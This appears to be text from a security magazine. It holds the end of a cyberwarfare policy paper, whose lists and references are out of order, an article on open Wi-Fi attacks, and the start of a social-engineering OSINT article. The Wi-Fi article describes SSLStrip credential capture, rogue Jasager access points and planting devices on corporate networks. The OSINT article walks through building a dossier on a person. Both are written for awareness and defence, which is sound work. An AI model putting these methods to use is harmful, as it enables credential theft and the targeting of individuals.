3	Do nothing whatsoever related to cyberweapons and U.S. National CONOPS Plan. Just continue to the present trend to continue to conduct cyberwarfare operations on an ad hoc basis in secrecy, and allow the situation with current cyberwarfare threats to continue (Sanger, 2012).	Saves time, political wrangling, and money	Unintended consequences of unilateral use or unplanned use of cyberweapons

utilized a think-tank of individuals, both military and civilian, to craft the strategic war-fighting plans of the U.S. that would deal with very real possibility that tactical and possibly strategic nuclear weapons may be required during a major wartime scenario. The first such war plan was called the *Single Integrated Operational Plan* (SIOP). The process of its creation involved the use of intelligence data about potential enemies, a threat assessment process, and then a process whereby the identified likely targets would be prioritized and matched with weapons. The process of matching weapons to targets also included intricate sequence timings, and the various event triggers that would result in the execution of such attacks. In the 1980s, the SIOP evolved into something called the OPSPLAN and later, it was renamed the CONOPS Plan, but it has always been kept up to date and tested at least semiannually so that all involved would know their roles if the nation command authorities deemed it necessary to execute this intricate war plan (Freedman, 2003).

Note that as far back as the 1970s, there were 24 defined levels of conflict between the U.S. and a potential adversary, ranging from a war of words, all the way to strategic nuclear war. No matter what the name of it was, the national war plan has always been a key tool of the national command authorities for understanding what military responses would be required in the event of these various levels of conflict.

Recommendations for the U.S. Cyberwarfare Policy and Strategy

It is not unreasonable to assume that the path towards a coherent and cohesive U.S. policy and set of strategies regarding the use of cyberweapons will follow a path that is similar to the strategic war plan maturity path from Hiroshima to the SIOP. Today, in the absence of any clear policy on the use of cyberweapons, Crosston advocates the agreement on a policy of "Mutually Assured Debilitation" in which everyone with cyberweapons would come to a general understanding that the use of these weapons would result in the expectation that massive destruction would be unleashed on every participant's assets (Crosston, 2011). This makes perfect sense considering that the "Mutually Assured Destruction" nuclear deterrence policy was effective and worked well during the Cold War from the 1950s through 1990s.

Yet, today, I believe that once a coherent and cohesive U.S. policy on cyberwarfare and cyberweapons is defined by the National Command Authorities, there should be an eight-step process that could result in the development and rapid maturation of a strong national strategy U.S. Cyberwarfare:

- Define the doctrines and principles related to cyberwarfare and the needs under which cyberwarfare would be conducted.
- Create the policies that embody these doctrines and principles.
- Conduct the intelligence gathering to accurately understand the landscape of the cyber battlefield.

Table 3. *A 10-step Remedy toward the Creation of National Policy (Kramer, et al, 2009)*

Idea	Explanation
Unify Policy Direction	Effective policies will not be created by a single person or entity, but they require centralized leadership to unify their direction and intent.
Specialize Policy Direction	Recognizing that one size does not fit all, specialized policies need to be created for varies infrastructures and industries to ensure maximum protection.
Strengthen and Unify Regulation	Regulations must be strengthened to be more effective, or new, more effective regulations must be created.
Define State and Local Roles	A workable Federal policy must have the involvement of state and local authorities to be effective
Define International Interfaces	This is required because cyberspace is connected internationally and because there is still lack of international agreement on many aspects of cyberwar.
Mandate Effective Systems Engineering for Infrastructure-related Software	Ensure that there is a realization and commitment for the need to have higher minimum standards for the quality of software that is related to infrastructure.
Don't Take No for an Answer	Ensure that stakeholders and those responsible participants realize the resolute, unwavering commitment toward a workable policy solution
Establish and Implement Clear Priorities	This will ensure the best allocation of financial and management resources.
Inform the Public Clearly and Accurately	The public needs to understand the efforts being made to protect the U.S.
Conduct a Continuing Program of Research	Keep the policy updated and relevant to changing technologies.

References

- Bousquet, A. (2009). The Scientific Way of Warfare: Order and Chaos on the Battlefields of Modernity. New York, NY: Columbia University Press.
- Bush, G. W. (2008). Comprehensive National Cybersecurity Initiative (CNCI). Published by the White House January 2008. Retrieved from *http://www.whitehouse.gov/cybersecurity/comprehensive-national-cybersecurity-initiative* on January 5, 2012.
- Carr, J. (2012). Inside Cyber Warfare, second edition. Sebastopol, CA: O'Reilly.
- Clarke, R. A. and Knake, R. K. (2010). Cyberwar: the Next Threat to National Security and What to Do About It. New York, NY: HarperCollins Publishers.
- Crosston, M. (2011). World Gone Cyber MAD: How "Mutually Assured Debilitation" Is the Best Hope for Cyber Deterrence. An article published in the Strategic Studies Quarterly, Spring 2011. Retrieved from *http://www.au.af.mil/au/ssq/2011/spring/crosston.pdf* on October 10, 2012.
- Czosseck, C. and Geers, K. (2009). The Virtual battlefield: Perspectives on Cyber Warfare. Washington, DC: IOS Press.
- Edwards, M. and Stauffer, T. (2008). Control System Security Assessments. A technical paper presented at the 2008 Automation Summit – A Users Conference, in Chicago. Retrieved from *http://www.infracritical.com/papers/nstb-2481.pdf* on December 20, 2011.
- Fayutkin, D. (2012). The American and Russian Approaches to Cyber Challenges. Defence Force Officer, Israel. Retrieved from *http://omicsgroup.org/journals/2167-0374/2167-0374-2-110.pdf* on September 30, 2012.
- Freedman, L. (2003). The Evolution of Nuclear Strategy. New York, NY: Palgrave Macmillan.
- Gerwitz, D. (2011). The Obama Cyberdoctrine: tweet softly, but carry a big stick. An article published at Zdnet.com on May 17, 2011. Retrieved from *http://www.zdnet.com/blog/government/the-obama-cyberdoctrine-tweet-softly-but-carry-a-big-stick/10400* on September 25, 2012.
- Gjelten, T. (2010). Are 'Stuxnet' Worm Attacks Cyberwarfare? An article published at NPR.org on October 1, 2011. Retrieved from *http://www.npr.org/2011/09/26/140789306/security-expert-u-s-leading--force-behind-stuxnet* on December 20, 2011.
- Gjelten, T. (2010). Stuxnet Computer Worm Has Vast Repercussions. An article published at NPR.org on October 1, 2011. Retrieved from *http://www.npr.org/templates/story/story.php?storyId=130260413* on December 20, 2011.
- Gjelten, T. (2011). Security Expert: U.S. 'Leading Force' Behind Stuxnet. An article published at NPR.org on September 26, 2011. Retrieved from http://www.npr.org/2011/09/26/140789306/security-expert-u-s-leading-force-behind-stuxnet on December 20, 2011.
- Gjelten, T. (2011). Stuxnet Raises 'Blowback' Risk In Cyberwar. An article published at NPR.org on December 11, 2011. Retrieved from *http://www.npr.org/2011/11/02/141908180/stuxnet-raises-blowback-risk--in-cyberwar* on December 20, 2011.
- Hagestad, W. T. (2012). 21st Century Chinese Cyberwarfare. Cambridgeshire, U.K.: IT Governance.
- Hyacinthe, B. P. (2009). Cyber Warriors at War: U.S. National Security Secrets & Fears Revealed. Bloomington, IN: Xlibris Corporation.
- Jaquith, A. (2007). Security Metrics. Boston, MA: Addison Wesley.
- Kaplan, F. (1983), The Wizards of Armageddon: The Untold Story of a Small Group of Men Who Have Devised the Plans and Shaped the Policies on How to Use the Bomb. Stanford, CA: Stanford University Press.
- Kerr, D. (2012). Senator urges Obama to issue 'cybersecurity' executive order. An article published at Cnet.com on September 24, 2012. Retrieved from *http://news.cnet.com/8301-1009_3-57519484-83/senator-urges-obama-to-issue-cybersecurity-executive-order/* on September 26, 2012.
- Kramer, F. D. (ed.), et al. (2009). Cyberpower and National Security. Washington, DC: National Defense University.
- Langer, R. (2010). A Detailed Analysis of the Stuxnet Worm. Retrieved from *http://www.langner.com/en/blog/page/6/* on December 20, 2011.
- Libicki, M.C. (2009). Cyberdeterrence and Cyberwar. Santa Monica, CA: Rand Corporation.
- Markoff, J. and Kramer, A. E. (2009). U.S. and Russia Differ on a Treaty for Cyberspace. An article published in the New York Times on June 28, 2009. Retrieved from *http://www.nytimes.com/2009/06/28/world/28cyber.html?pagewanted=all* on June 28, 2009.
- Mayday, M. (2012). Iran Attacks US Banks in Cyber War: Attacks target three major banks, using Muslim outrage as cover. An article published on September 22, 2012 at Poltix.Topix.com. Retrieved from *http://politix.topix.com/homepage/2214-iran-attacks-us-banks--in-cyber-war* on September 22, 2012.
- McBrie, J. M. (2007). THE BUSH DOCTRINE: SHIFTING POSITION AND CLOSING THE STANCE. A scholarly paper published by the USAWC STRATEGY RESEARCH PROJECT. Retrieved from *http://www.dtic.mil/cgi-bin/GetTRDoc?AD=ADA423774* on September 30, 2012.
- Obama, B. H. (2012). Defense Strategic Guidance 2012 – Sustaining Global Leadership: Priorities for 21st Century Defense. Published January 3, 2012. Retrieved from *http://www.defense.gov/news/Defense_Strategic_Guidance.pdf* on January 5, 2012.
- Obama, B.H. (2011). INTERNATIONAL STRATEGY for Cyberspace. Published by the White House on May 16, 2011. Retrieved from *http://www.whitehouse.gov/sites/default/files/rss_viewer/international_strategy_for_cyberspace.pdf* on May 16, 2011.
- Payne, K. B. (2001). The Fallacies of Cold War Deterrence and a New Direction. Lexington, KY: The University of Kentucky Press.
- Pry, P. V. (1999). War Scare: Russia and America on the Nuclear Brink. Westport, CT: Praeger Publications.
- Radcliff, D. (2012). Cyber cold war: Espionage and warfare. An article published in SC Magazine, September 4, 2012. Retrieved from *http://www.scmagazine.com/cyber-cold-war-espionage-and-warfare/article/254627/* on September 7, 2012.
- Saini, M. (2012). Preparing for Cyberwar – A National Perspective. An article published on July 26, 2012 at the Vivikanda International Foundation. Retrieved from *http://www.vifindia.org/article/2012/july/26/preparing-for-cyberwar-a-national-perspective* on October 14, 2012.
- Sanger, D. E. (2012). Confront and Coneal: Obama's Secret Wars and Surprising Use of America Power. New York, NY: Crown Publishers.
- Schmidt, H. S. (2006). Patrolling Cyberspace: Lessons Learned from Lifetime in Data Security. N. Potomac, MD: Larstan Publishing, Inc.

- Perform the analysis to create the strategy
- Create the strategic plan and tactics
- Conduct regular war games, at least twice yearly to test the strategic plan and tactics
- Analyze and document the results of the cyberwarfare war games.
- Refine the strategies and tactics for cyberwarfare and cyberdeterrence based on the results of analyzing the outcomes of the cyberwarfare war games

Note that it is also essential to continually assess the capabilities of Information Technology so that tools that our cyberwarfare fighters are using are state of the art and that they are effective and perform well as they are integrated into the cyberwar war fighting environment.

Recommendations for the U.S. Cyberdeterrence Policy and Strategy

A strongly worded, explicit U.S. national policy regarding cyber deterrence would serve to further strengthen the U.S. in cyberspace as well as protect critical infrastructure and our allies. According to a 1997 paper that was prepared by the U.S. Army for the Clinton administration, *Toward Deterrence in the Cyber Dimension* these would be recommended elements of such a policy:

- Continue to design, create, possess, and use offensive cyber warfare capabilities when necessary
- Develop a defensive system for surveillance, assessment, and warning of a cyber attack. (I think such capability presently exists now)
- A declaration that any act of deliberate information warfare resulting in the loss of life or significant destruction of property will be met with a devastating response (U.S. Army, 1997).
- I would also include Crosston's idea of Mutually Assured Debilitation (Crosston, 2011).

Final Thoughts on the Creation of a National Policy on Cyberwar and Cyberdeterrence

According to Kramer, the Table 3 contains the 10-step remedy for creating a policy that would protect the U.S. in cyberspace.

Part 5 Conclusion

This section has presented a brief look at the importance of creating a set of publicly available, coherent and cohesive national policies and strategies that will facilitate U.S. capabilities to effectively conduct cyberwarfare and cyberdeterrence operations now and in the future. At the present moment, the lack of such policies effectively represents a window of risk and uncertainty during a time when cyber threats and cyber attacks are growing at an exponential rate. That has the elements of a real potential for a cyber disaster if this weak policy situation is not resolved as soon as possible. Here, I presented a set of processes and a framework by which the U.S. can quickly address the national challenges of effectively creating the urgently needed national policies and integrated strategies for conducting cyberwarfare and cyberdeterrence operations now and in the future.

Conclusion

This paper has presented a brief look at the importance of creating a clear set of publicly available, coherent and cohesive national policy. It then advocated the incorporation of strategies that will address U.S. intentions and capabilities to effectively conduct cyberwarfare and cyberdeterrence operations now and in the future, into the U.S. CONOPS Plan.

WILLIAM F. SLATER, III

References

- Schmitt, E. and Shanker, T. (2011). U.S. Debated Cyberwarfare in Attack Plan on Libya. An article published in the New York Times on October 17, 2011. Retrieved from *http://www.nytimes.com/2011/10/18/world/africa/cyber-warfare-against-libya-was-debated-by-us.html* on October 17, 2011.
- Stiennon, R. (2010). Surviving Cyber War. Lanham, MA: Government Institutes.
- Strohm, C. and Engleman, E. (2012). Cyber Attacks on U.S. Banks Expose Vulnerabilities. An article published at BusinessWeek.com on September 28, 2012. Retrieved from *http://www.businessweek.com/news/2012-09-27/cyber-attacks-on-u-dot-s-dot-banks-expose-computer-vulnerability* on September 30, 2012.
- Technolytics. (2012). Cyber Commander's eHandbook: The Weaponry and Strategies of Digital Conflict, third edition. Purchased and downloaded on September 26, 2012.
- Turzanski, E. and Husick, L. (2012). "Why Cyber Pearl Harbor Won't Be Like Pearl Harbor At All..." A webinar presentation held by the Foreign Policy Research Institute (FPRI) on October 24, 2012. Retrieved from *http://www.fpri.org/multimedia/2012/20121024.webinar.cyberwar.html* on October 25, 2012.
- U.S. Army. (1997). Toward Deterrence in the Cyber Dimension: A Report to the President's Commission on Critical Infrastructure Protection. Retrieved from *http://www.carlisle.army.mil/DIME/documents/173_PCCIPDeterrenceCyberDimension_97.pdf* on November 3, 2012.
- U.S. Department of Defense, JCS. (2006). Joint Publication (JP) 5-0, Joint Operation Planning, updated on December 26, 2012. Retrieved from *http://www.dtic.mil/doctrine/new_pubs/jp5_0.pdf* on October 25, 2012.
- Waters, G. (2008). Australia and Cyber-Warfare. Canberra, Australia: ANU E Press.

Open Networks – Stealing the Connection

Most of you are quite aware of the fact, that using open Wi-Fi networks processes a threat to the security of your device (Laptop, smartphone, tablet etc.). But did you know, that if you associate your device with an open network, the threat even goes beyond being actively online on the open access point?

Hands in the air! How many of you have ever connected to an open, unencrypted Wi-Fi network on a restaurant, a bar, a coffee shop, an airport, on public transport – or in a hotel? Thank you! I saw a lot of hands there…

Problems with open, unencrypted networks

What's the problem then? You have a connection – isn't that what you want? Well, there are a few risks you need to take into consideration before you connect to an open Wi-Fi network.

- Eavesdropping
- Malware
- Connection theft after disconnection from the access point.

Figure 1. *Wi-Fi Pineapple Mark IV, Wireless Honeypot*

On an open Wi-Fi network, you do not necessarily know, who is behind the access point, who is listening, and if they are friends or foes.

Eavesdropping

Eavesdropping is the most obvious threat to your security, given the words 'open' and 'unencrypted' are present.

That means persons in your vicinity can listen to the traffic between you and the access point, and the persons running the access point can monitor your traffic as well.

I will mention the *Wi-Fi Pineapple Mark IV* a few times. It is sold from Hak5 as a fierce – and affordable – $129 device for eavesdropping on open Wi-Fi connections.

Few of us would like to let other people get insight into which sites you visit on the web with your browser – not to forget the contents of your e-mail. Most people actually do consider their usernames and passwords as confidential information.

But do they treat their sensitive as confidential? Connecting your device to an open Wi-Fi network on the coffee shop on the corner and downloading your mail from your POP3 server has already exposed your mail address, your login name to the mail server as well as your password.

Eavesdropping encrypted traffic

No problem, some will say. We just use encrypted communication, securing that HTTPS is pres-

ent on all the pages, we visit. Then we cannot be eavesdropped. Got you!

Not necessarily. Some devices, pretending to be access points, are a little more than just mere access points. Here are tools like the *SSLStrip* used to eavesdrop on your encrypted traffic.

SSLStrip is a tool that hijacks HTTPS traffic and redirects it without the user knowing of it. The HTTPS links are converted to look-alike HTTP links. That may fool more than a few, when the visit Facebook or their online bank (Figure 2).

In fact the *SSLStrip* can be carried out on any network, but on an open Wi-Fi network, you do not know what "extra services" are actually running behind the access point. And it is a risk, you must take into consideration. Again the *Wi-Fi Pineapple Mark IV* is capable of running *SSLStrip.*

- In general I recommend you not to do online banking on foreign networks. Use your home internet connection instead. Alternatively you can your smart phone for mobile banking or as access point using 3G or 4G connections – and of course – not with the device connected to an unknown Wi-Fi connection.
- You must be aware of the fact that many companies have employed internet proxy mechanisms to inspect HTTPS traffic. Knowing this, you cannot be sure, that your company is not listening to and logging your private bank transactions, if transmitted via the company network. Check the company handbook etc. or ask for the company policy on scanning encrypted network traffic, as the company may have a whitelist excluding sites they consider private from the inspection. This exclusion zone could for instance be online banking and public sector services.

Figure 2. *SSLStrip*

Figure 3. *DNN Login Inhouse*

Showing an example

To make an example I visited my home page, and made a login attempt. Just for the record, I have added a fake login name and password.

In the *SSLStrip* log on the *Wi-Fi Pineapple Mark IV*, I can now read the password. Note, that the https is not present before the URL. Checking the certificate will show, that this is an unvalidated site (Figure 3).

After executing the login attempt, I can read the log file from the *SSLStrip* application on the *Wi-Fi Pineapple*, and here you are: Figure 4.

Taking the threat beyond the online state

In my opinion the protocol behind Wi-Fi (IEEE8002.11) has some serious weaknesses in regards to security. Many of the management frames, adding vital functionality, are not encrypted. The Deauthentication frame is for instance not encrypted during transmission. The deauthentication frame enables a station to inform another station, when it wishes to terminate secure communications.

A hacker can easily impersonate a station on a Wi-Fi network and keep sending DeAuth Frames, the user will have the availability crippled – this is also known as a Denial of Service (DoS) attack.

PROBE REQUEST FRAME

A device (computer, smartphone etc.) sends a probe request frame when it needs to obtain information from another device (access point). For example, a wireless network interface card of a device would send a probe request to determine if a given access point is within range. The probe frame can be intercepted.

The same issue goes for the Probe request. Let's say you have connected to an open hotel network during your stay at a conference. In order to re-establish the connection quickly you have let your laptop or your smartphone auto connect to the hotel network.

```
ae78165ba3d4%3Aen%3Af1f77841-f126-4726-9fc2-0ee8be7d2341%3A16e4e7cd%3Af7645509%3Aed16cbdc%3B&
NN%24txtUsername=tekmic&dnn%24ctr%24Login%24Login_DNN%24txtPassword=10gerens&ScrollTop=&  dnn
(%5Cu0027dnn_ctr_Login_Login_DNN_txtUsername%5Cu0027)%3B%22%7D&  EVENTTARGET=dnn%24ctr%24Logi
```

Figure 4. *The Log File from the SSLStrip Aplication*

This increases the speed of connection, but it will as well make you vulnerable of an attack, even when "you have left the building".

On a windows platform, the properties of an access point look something like this (Figure 5).

The X in the *Start this connection automatically* may give you trouble later on, as this makes your device send out probe requests to see, if the access point is in the vicinity (Figure 6).

The "Jasager" – the threat beyond being online

"Jasager" is German for the "Yes-man" and the *Wi-Fi Pineapple Mark IV*" is a Jasager. When your device boots up in your office, the morning after your came home after a pleasant business trip, your device will issue a probe request for the access point MYHOTEL-AP. The Jasager will answer: "YES IT IS ME" and a connection to this rouge access point is established.

But, but you say! You are not even near MYHOTEL-AP anymore?! What's going on? The rouge access point, the Jasager, is just answering your probe request issued by your device. And issuing the probe request is a standard function, running behind your back; unless you manually removed the X in the auto connect checkbox.

Elsewise you can just hope, that the "correct" company access point is higher in the list when sending probe requests.

As a result you have now established an unencrypted connection to the rouge access point. And the owner of the access point can now intercept your transmissions as described previously in this article (Figure 7 and Figure 8).

Figure 5. *Auto Connect*

Figure 6. *The Wi-Fi Pineapple Mark IV*

Figure 7. *Ritz Network Impersonated by the Jasager*

Figure 8. *Ritz Network Impersonated by the Jasager as Seen on the Android Device*

Open guest networks may be endangering your guests

Many companies are offering guest networks to their guests. This could be accountants working in the financial department, sales people or customers coming in for briefings or seminars.

Often I see the guest networks being open networks with a RADIUS based login mechanism behind; requesting the guest to login on a html form; granting them a time limited access ticket.

"How can this setup expose my guests to danger? This should be absolutely secure!". The answer again is the Jasager.

If a Jasager device is placed in the vicinity of the conference room, in the financial department etc., it may have higher signal strength than the company access point or a quicker response to a probe request.

If a hacker can achieve this, your guest will connect to the rouge access point rather than to the company access point.

To make things worse, the hacker can make the Jasager an evil twin of the wireless guest network, giving the Jasager the same name as the corporate access point.

All you will see is an extra access point, offering its "services"; the evil twin.

Even though you name the rouge access point the same as the corporate access point, the Jasager still impersonates to be another access point, if a node issues a probe request frame.

There are a few variants of the setup of a Jasager. In this case I again refer to the *Wi-Fi Pineapple Mark IV.*

Autonomous device with battery and 3G

The Jasager is placed somewhere where it does not look suspicious. The device is equipped with a battery pack, giving a reasonable endurance, as well as with a 3G dongle. When the guest accesses the Jasager, his connection is routed via the 3G network. This may be slow, but in many cases, especially with a good 3G connection, the guest may never suspect, that anything is wrong. Remember, this is a guest, who may not have any expectations of a high performance guest network (Figure 9).

Jasager connected to the corporate LAN

A more sneaky approach could be connecting the Jasager to the corporate local area network (LAN), as many networks allow foreign devices to attach; routing them to the internet – no questions asked.

In this configuration the Jasager will give its optimum performance, and the guest will probably not be aware of anything suspicious.

How to get it in? If you are not already an employee, you could try a little social engineering, impersonating a craftsman, a guest or an inspector of power, fire etc.

Many meeting rooms, guest areas are wired, and in many cases, the jacks in the wall are patched, giving you connection to the LAN. You can camouflage your Jasager, and then you are in.

If you have Power Over Ethernet (POE) enabled, the Jasager will, with the help of a $5.99 dongle, get its power via the internet connection, and if undetected, it can stay on the corporate LAN forever.

Jasager connected to the corporate WLAN

You can mount an extra antenna on the *Wi-Fi Pineapple Mark IV* and use the Jasager as a hub to another Wireless LAN – maybe the corporate WLAN, if you have a login name, or to an open network nearby. This again can be used together with a battery pack, enabling the hacker to place the Jasager in a camouflaged casing hidden outside the building.

Figure 9. *Jasager with an Extra 4Gb USB Drive*

What about encrypted access points then?

Hmmm. Encrypted access point should be save shouldn't they? But if the Jasager answers quicker than the corporate (or home based) access point, you can still be caught off guard.

My android phone can be configured to operate as an access point. A feature I love when traveling by train. A little test made me a little nervous though. With the Jasager close to the phone, close to the computer, I could make the computer establish a connection through the Jasager, instead of using my encrypted connection on the Android.

This makes things even worse and more complicated.

The consequences of the threat of the Jasager

In order to cope with the threat from Jasager, Karma or other evil devices, company it-departments should adjust their policies and rules.

- No guest network should be unencrypted. Even though the access to the WLAN is secured when logging into the RADIUS server, the IEEE 802.11 protocol allows the Jasager to intercept the connection before it reaches the corporate access point. If possible you should apply an encryption to the guest network, and instruct your guests to enter the passcode, before they identify themselves to the RADIUS server. Instruct them to check, if they are prompted for a passcode before going further on to the RADIUS login. Change the passcode frequently.
- Users should in general be instructed to avoid open networks. If they cannot get an alternative encrypted connection they should have access to 3G/4G cards or smartphones, serving as access points. If all traffic from the device to the company should be tunneled through an encrypted VPN or something similar, the use of a foreign access point could be OK. But there should be made no exceptions like browser based web mail, FTP, SFTP etc., must be avoided. That means that all browsing, corporate as well as private must go through the tunnel.
- The corporate LAN should be scanned for rouge devices with short intervals.
- Wall jacks to the corporate LAN in public areas should not be patched, or IEEE 802.1x should be enabled, enforcing that only enrolled and authorized devices are allowed to connect here.
- Visitors should be registered and should not be allowed to access areas on their own, where they might be able to hide rouge access points or similar rouge devices.
- A Wi-Fi scan should take place in the corporate building and outside, in order to produce a map of the access points. Deviations from the normal picture should be investigated.
- Do not make automatic connections to any wireless network.

These countermeasures should secure, that the corporate laptops are secure, at least regarding the connection to Wi-Fi access points (Figure 10).

What evil can the Jasager do?

Besides eavesdropping and stripping SSL traffic, the Jasager can do quite a lot of nasty stuff:

- Using the very advanced NMAP tool to scan your computer for open ports and services that can be attacked.
- Redirect your sites via DNS spoofing. This means, that if you write *www.facebook.com*, then you will be redirected to a facebook look-a-like pages on the Jasager. Here you will be prompted for login, and your credentials will be stored.
- The DNS spoofing gives some great opportunities for getting success with phishing. If you think you are on the right page, entering the URL manually, as you should, you still end up on the Jasager – and your credentials or information is stored.
- There are some nice tools for storing all interesting traffic on a USB drive.

```
KARMA: Probe Request from [redacted]6:15 for SSID 'HTC Portable Hotspot'
KARMA: Probe Request from [redacted]5:21 for SSID '[redacted]'
KARMA: Probe Request from [redacted]:21 for SSID 'Hotel [redacted]'
KARMA: Probe Request from [redacted]:21 for SSID '[redacted] Welcome'
KARMA: Probe Request from [redacted]:21 for SSID '[redacted]'
KARMA: Probe Request from [redacted]:21 for SSID '[redacted] Sommerhus'
KARMA: Probe Request from [redacted]:21 for SSID '[redacted]'
KARMA: Probe Request from [redacted]:21 for SSID '[redacted]'
KARMA: Probe Request from [redacted]:f5 for SSID '[redacted]'
```

Figure 10. *Probe Requests as Seen on the Jasager*

Links

- Wi-Fi Pineapple Mark IV: *http://hakshop.myshopify.com/collections/gadgets/products/wifi-pineapple*
- G-MoN: *https://play.google.com/store/apps/details?id=de.carknue.gmon2&hl=da*
- NMAP guide: *http://www.amazon.com/Nmap-Network-Scanning-Official-Discovery/dp/0979958717*

Sources used

- Hacking Exposed 7, Network Security Secrets & Solutions, Chapter 8. McClure & Scambray et al. ISBN: 978-0-07-178028-5
- Hacking Exposed, Wireless Hacking, Cache & Leu, p190-194, ISBN: 978-0-07-226258-2
- You just can't trust wireless: covertly hijacking Wi-Fi and stealing passwords using sslstrip: *http://hakinthebox.blogspot.dk/2012/06/you-just-cant-trust-wireless-covertly.html*
- Wi-Fi Pineapple Mark IV: *http://hakshop.myshopify.com/products/wifi-pineapple*
- Hack5: Man in the middle fun with SSLstrup: *http://www.dailymotion.com/video/xavig9_man-in-the-middle-fun-with-ssl-stri_school#.UXEjZfPU-Wg*
- Saying No to the YESMAN – Defense Against Jasager: *http://blog.oneiroi.co.uk/hacking/saying-no-to-the-yesman-defense-against-jasager/*

Aftermatch

After I have lain may hand on the Wi-Fi Pineapple Mark IV, I look upon the wireless network with great mistrust. There are many possibilities a hacker can use to fool you into his network which can be a hostile environment for you and your computer.

As a corporate it-department you need to be on the look for evil twins, users who have auto connected to networks, broadcasting probe request frames, rouge devices on the physical network.

If your work in the financial sector, you probably will develop a little paranoia, trying to prevent credit card fraud, violating the credit card safety regulations – PCI-DSS.

Though there is not that much you can do. You can scan, give awareness training to your users, and keep your fingers crossed.

- The Jasager can be used as a jamming device, crippling access to your Wi-Fi network.
- And still there is more….

Securing the corporate network

- Find a tool in your network administration package that is able to scan all nodes on the network. Alternatively use NMAP to survey the network. The NMAP guidebook gives samples how to.
- Use a GPS enabled android smartphone to survey the buildings and surrounding areas with tools like G-MoN (free from Google Play). Store a KML file and view it in Google Map to present a view over the access points in your building and in the nearby area. If new access points appear in you building or nearby, then you should investigate, you might have a rouge access point on you hand.

Lessons learnt

- Do not use open network, and do not let your computer auto connect to open networks.
- Do not offer open networks as guest networks.
- Do not use on-line banking on unknown access points, encrypted or unencrypted. You do not know, what is behind. Use 3G or 4G instead, if you are out of reach of your own Wi-Fi network.
- Check with your corporate network administrator, if they open the encrypted traffic (HTTPS) in a network proxy, and thereby enables monitoring of your private banking transactions. Check if there is a whitelist covering your bank, that is excluded from a scan.
- All communications should be run through VPN tunnels or similar, if you connect to any type foreign networks, wired or wireless.
- Scan the corporate network for rouge devices and the buildings and surroundings as well.
- Tighten your physical security to prevent eavesdropping devices to be planted. Prevent network access from unknown devices.
- Veryfy that you are on the correct network, that the encryption is active, and that you *are being prompted.*

MICHAEL CHRISTENSEN

Michael is an independent Business Continuity & IT-Security Consultant running his own consultancy business, delivering services to a variety of customers. He is holding active certifications as CISSP, CSSLP, CRISC, CCM ISO:22301, CPSA, ISTQB and PRINCE2. Since 1985 Michael has been working with IT in a number of positions and companies. 11 years were spent in the financial sector working as project manager and IT-security Consultant. When he is not at work, he enjoys spending his time with his family in Denmark. Michael has as well been a voluntary member of the Danish Homeguard for 30 years – officer since 1989, primarily working as a CBRN-officer, engaged in the protection against weapons of mass destructions – and as an Executive officer (XO) of company sized units. Feel free to contact me on LinkedIN: http://dk.linkedin.com/in/michaelchristensen/

Social Engineering

The Art of Data Mining

This article explores the art of data mining, a technique utilized by social engineers, hackers and penetration testers to build a dossier and profile of a targeted individual, network, or organization. Instead of looking at data mining in a generic or theoretical sense, this paper will demonstrate various real-world techniques that both black hat hackers, and white hat IT professionals may utilize to gain entry to, or aid in defense of information systems.

The purpose of this paper is to enlighten and educate IT professionals of the real world data mining and foot-printing techniques utilized by social engineers and hackers, so that they may better defend against these techniques. The paper examines passive intelligence gathering techniques through the use of free or near-free tools available on the Internet such as: Spokeo.com and Maltego. Also examined are ways to collect data through social networking sites such as Facebook, Twitter, LinkedIn.com, Google Maps, and Intelius.com. Using the afore mentioned tools and websites, this article will demonstrate how little effort it takes to build a rich and informative dossier that can be utilized in a social engineering attack.

Introduction

Social engineering is an art or science of expertly manipulating other humans to take some form of action in their lives (Hadnagy, 2011). Without question the social engineer is one of the greatest threats to an organization's security. Unlike a technical-driven attack by a hacker, the social engineer's approach is one that side-steps difficult technical controls and instead focuses efforts on the weakest part of any organization's security: the human element.

The intent of this paper is to examine the data mining process, which can greatly aid in a *social engineering attack* (SEA). The goal of data mining is to collect useful data on a targeted organization or individual. The more information gathered in the reconnaissance stage, the broader the attack options become. The goal of this case study is threefold:

- To demonstrate specific steps a social engineer may take to build a dossier.
- To illustrate that complicated software and advanced skills are not required to perform data collection on a target.
- To serve as an example and warning of why we should all carefully consider what information we share on the Internet.

There are many articles that cover the theory of data collection but the differentiator in this article is that it provides a real world example. Presenting myself as the target of a social engineering attack, this article will serve as a step-by-step guide on how data collection is performed. The processes demonstrated in this article are known as "passive" intelligence gathering, meaning that the actions will not alert the target that they are being collected on.

What's in a Name?

The foot-printing performed for this paper started with nothing but a name: Terrance Stachowski. No liberties were taken in the data collection process – i.e. using prior knowledge of social networking sites, email addresses, etc. The conclusions drawn and techniques utilized to continue each step of data collection demonstrate a logical, repeatable, progression for a social engineer in the data collection phase.

The first step is to obtain a tool which will help you keep your investigation notes organized. This could be as simple as tacking index cards and string on the wall, but it could quickly become cumbersome

if there are too many notes. Additionally, if anyone were to see it, they may become alarmed and realize that you are up to no good. Maltego Community Edition (www.paterva.com) is a convenient forensics tool which offers a user-friendly interface for mining and correlating data. Maltego delivers a graphical representation of the collected information and can automate data correlation – for this exercise the data correlation steps were done manually, but it should be noted that the real power behind Maltego is its ability to connect the dots of data relationships.

The first site utilized for data collection may come as no surprise as it's used by millions on a daily basis: Google (*www.google.com*). Beginning with a simple Google query of the target's name produces a plethora of search results to begin collecting data from (see Figure 1). For ease of tracking which sites have been visited, it may be best to simply work your way down the list of results.

Facebook

The first site listed in the Google results is a Facebook profile (*www.facebook.com*). Viewing the target's publicly accessible profile, a photo of the target is available for the taking (see Figure 2). Also included is a list of activities and interests which consists of favorite music, books, and movies. This data may be useful but what's really valuable is a list of the target's favorite sports teams: three from Minnesota, and one from Kaiserslautern, German. No other information is present on the target's public Facebook page. This data can be recorded into Maltego prior to moving on.

Figure 1. *Google – First Step to Collecting data*

Myspace

The next site listed in Google's results is a Myspace profile (*www.myspace.com*). The target's public Myspace profile is filled with lots of useful information. Unlike the Facebook profile which restricts what the public can view, the Myspace profile is wide open. The profile appears to have been abandoned, the last update occurred over a year ago, but a great deal of data is present.

A cursory examination provides details on family, friends, current and past locations, education details, interests, and hobbies. Supplementary information is gathered from embedded blogs, and a cache of photographs that number in the hundreds. The information collected provides a framework of a family tree and a mapping of friends, including their birthdates and locations. Armed with a list of family and friends, the next step is to dig through their Myspace profiles in search of additional information.

Contacts – Additional data leakage

Probing the Myspace profiles of the target's contacts aids in confirming locations, birth dates, additional photographs of the target, as well as a handful of e-mail addresses and phone numbers – what's more, many of the contacts provide links to their Facebook profiles which are open to the public and afford further data collection.

